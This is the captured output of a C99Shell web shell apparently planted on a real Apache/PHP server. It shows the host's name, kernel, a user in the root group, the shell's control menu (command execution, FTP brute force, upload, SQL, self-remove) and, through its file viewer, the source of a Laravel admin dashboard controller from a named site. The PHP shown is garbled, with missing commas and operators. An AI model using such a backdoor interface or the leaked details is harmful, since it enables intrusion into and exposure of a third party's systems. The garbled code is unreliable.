!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.3 GB of 117.98 GB (23.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DashboardController.php (2.53 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\BillingRequest;
use 
App\Models\Code;
use 
App\Models\Customer;
use 
App\Models\CustomerPlan;
use 
App\Models\Document;
use 
App\Models\Image;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;

class 
DashboardController extends Controller
{
    public function 
index(){

        
$user =auth()->user();
        
$customers=$user->customers;
        
$customer_ids=[];
        foreach (
$customers as $key=>$customer){
            
$customer_ids[]=$customer->id;
        }

        
$data['newMessageCount'] = 0;
        
$data['newSentCount'] =0;

        
$data['totalInbox'] = 0;
        
$data['totalSent'] = 0;



        
$inboxes = [];

        
$data['weekDates']=getLastNDays(30);
        
$chatInboxes=[];
        foreach (
getLastNDays(30) as $day){
            
$chatInboxes[]=isset($inboxes[trim($day'"')])?$inboxes[trim($day'"')]:0;
        }
        
$data['chart_inbox']=$chatInboxes;

        
$sents = [];
        
$chat_sents=[];
        foreach (
getLastNDays(30) as $day){
            
$chat_sents[]=isset($sents[trim($day'"')])?$sents[trim($day'"')]:0;
        }
        
$data['chart_sent']=$chat_sents;
        
$data['total_users']=Customer::count();
        
$data['total_profit']=CustomerPlan::where('status''approved')->sum('price');
        
$data['total_document']=Document::count();
        
$data['total_images']=Image::count();
        
$data['total_code']=Code::count();

        
$data['monthDays']=getLastNDays(30);
        
$monthlyRevenue CustomerPlan::where('status''approved')
            ->
select(DB::Raw('sum(price) as total'),DB::Raw('DATE(created_at) day'))
            ->
whereDate('created_at''>'Carbon::now()->subDays(30))
            ->
groupBy('day')->get()
            ->
pluck('total','day');

        
$monthlyRevenues=[];
        foreach (
getLastNDays(30) as $day){
            
$monthlyRevenues[]=isset($monthlyRevenue[trim($day'"')])?$monthlyRevenue[trim($day'"')]:0;
        }
        
$data['monthlyRevenues']=$monthlyRevenues;



        return 
view('admin.dashboard',$data);
    }
    public function 
setLocale($type)
    {
        
$availableLang get_available_languages();

        if (!
in_array($type$availableLang)) abort(400);

        
session()->put('locale'$type);

        return 
redirect()->back();
    }
    public function 
notificationCount(){
        
$data['planReq']= CustomerPlan::where('status''pending')->count();
        return 
response()->json([ $data'status'=>'success'], 200);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--